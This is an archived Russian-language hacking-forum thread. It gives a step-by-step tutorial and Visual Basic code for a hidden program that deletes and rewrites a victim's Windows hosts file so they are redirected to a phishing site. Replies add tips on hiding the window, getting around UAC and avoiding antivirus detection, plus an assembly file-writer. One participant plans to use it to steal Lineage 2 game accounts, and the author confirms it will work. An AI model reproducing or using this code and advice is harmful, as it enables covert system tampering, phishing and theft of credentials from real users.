PDA

Просмотр полной версии : [Статья] Пишем прогу меняющую данные в hosts


baks1
21.11.2010, 23:08
Например полезно для разводов, приведу пример с фейком...
Для начала, делаем фейк. ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
Заливаем на хостинг с выделенным ip. Далее ищем статью по hosts.
Например, если вписать туда данные:
127.0.0.1 google.ru
то при заходе на google.ru будет выдаваться Ваш локальный сайт, а в адресной строке будет писать google.ru
Я пишу прогу на Visual Basic...
1. Запускаем прогу, выбираем Standart Exe.
2. В окне Form1 создаём TextBox и пишем там то, что вы хотите добавить в hosts(справа проги, ищем вкладку Alphabetic, потом там ищем Text - менять тут).
3. Дальше в этом же окне создаём Timer. Настраиваем его. Там же во вкладке Alphabetic ищем Enabled и ставим False. Дальше ищем Interval, ставим интервал, через сколько милисекунд будет добавлятся значение... Я поставил 1000.
4. Далее переключаемся на само окошко Form1, жмём правой кнопкой View Code.[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Вводим туда это:
Private Sub Form_Load()
Timer1.Enabled = True
Kill "C:\System32\drivers\etc\hosts" ' удаляем файл, смотя какой диск...
End Sub

Private Sub Timer1_Timer()
If Timer1.Interval = 1000 Then ' когда сработает таймер, и данные будут внесены
Open "C:\System32\drivers\etc\hosts" For Append As #1
Print #1, Text1.Text
Close #1
End If
End Sub

Проверяем(вверху есть кнопка плей(Start)... Если всё получилось, то в hosts должны добавиться данные.
Далее дам Вам полезный совет, чтобы когда чел запустит прогу, у него не появлялось окно, а тупо ничего не происходило... Чуть выше Alphabetic есть выпадающий список, так вот, выбираем там Form1 Form, и во вкладке Alphabetic ищем Visible, ставим False... Всё готово.
PS Не у всех людей винда на диске C. Поэтому можно сразу написать windows/system32/drivers/etc/hosts, но тогда предупредите жертву, что прогу запускать на диске с виндой=)))
PSS Кому надо, пишите в личку, скину исходники своей проги...
Удачи Вам!

J-Fobos
21.11.2010, 23:12
На висте и 7 не прокатит, разве что UAC будет выключен.

baks1
21.11.2010, 23:15
На висте и 7 не прокатит, разве что UAC будет выключен.
Не буду спорить, но друзьям кидал этот файл на проверку, у 1го виста у 2го 7, у которого виста, 100% был включен UAC, а у которого 7 хз, и у обоих работало...

J-Fobos
21.11.2010, 23:29
Погуглите по запросу manifest UAC, увидите как можно будет модернизировать программу ;) Я думаю и вам будет интересно, и пользователям полезно =)
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

SoGorgeous
21.11.2010, 23:32
Так же можно сделать через системные метки типа %System%(не помню какая точно метка отвечает за папку Windows) чтобы не искать на каком диске, а сразу переходил в папку windows и дальше уже по своему пути.

Jumper
21.11.2010, 23:34
зачем мучатся с путями, напиши просто пусть вместо windows -> %windir%

т.е. вот так:
Kill "%windir%\System32\drivers\etc\hosts

и не надо ничего просить. а вообще все это гораздо проще делается в консольном приложении и не палится так сильно

J-Fobos
21.11.2010, 23:59
[Ссылки могут видеть только зарегистрированные и активированные пользователи] mirror ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
Вот пример абсолютно невидимого приложения, он создаст файлик в папке с которой запущен.

Отчет с virustotal ([Ссылки могут видеть только зарегистрированные и активированные пользователи] 9b5b293bc3da3ea324a9d71a4b5bb-1290372998) [4/43]

cavern
22.11.2010, 00:50
Зачем создавать окна и увеличивать в 150 раз размер программы? Проще всего заюзать пару апи функций, связанных с записью в файл.

Вот пример
[Ссылки могут видеть только зарегистрированные и активированные пользователи] - размер 1024 байта.
Отчет ВТ: [Ссылки могут видеть только зарегистрированные и активированные пользователи] 13b1c70cee379a3417587fc31c02d-1290375855

MASM
.386
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.data

fname db 'test.txt',0
msg db 'test', 0

.data?

hFile dd ?
BTW dd ?

.code
start:

invoke CreateFile,addr fname,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBU TE_NORMAL,0
mov hFile,eax
invoke WriteFile,hFile,addr msg,sizeof msg-1,addr BTW,0
invoke CloseHandle,hFile
invoke ExitProcess, 0

end start

p.s. Тема немного не в том разделе

Atxam77
27.11.2010, 01:21
я чет не понел, у меня есть готовый фейк на гс сайта ла2. И есть доступ на топ клан сайт, там есть инфа о почте игрока и ай пи адреса. Прога создаст 1 файлик я должен его пыханут, он должин типа устонавит. После этого при входо в лк зайдет на мой фейк?

yjksr
27.11.2010, 16:27
На висте и 7 не прокатит, разве что UAC будет выключен.

почему?! =(

baks1
11.12.2010, 22:26
я чет не понел, у меня есть готовый фейк на гс сайта ла2. И есть доступ на топ клан сайт, там есть инфа о почте игрока и ай пи адреса. Прога создаст 1 файлик я должен его пыханут, он должин типа устонавит. После этого при входо в лк зайдет на мой фейк?

Да, так и будет=)

kPoH009
29.01.2011, 16:42
я чет не понел, у меня есть готовый фейк на гс сайта ла2. И есть доступ на топ клан сайт, там есть инфа о почте игрока и ай пи адреса. Прога создаст 1 файлик я должен его пыханут, он должин типа устонавит. После этого при входо в лк зайдет на мой фейк?

правильно мыслишь=)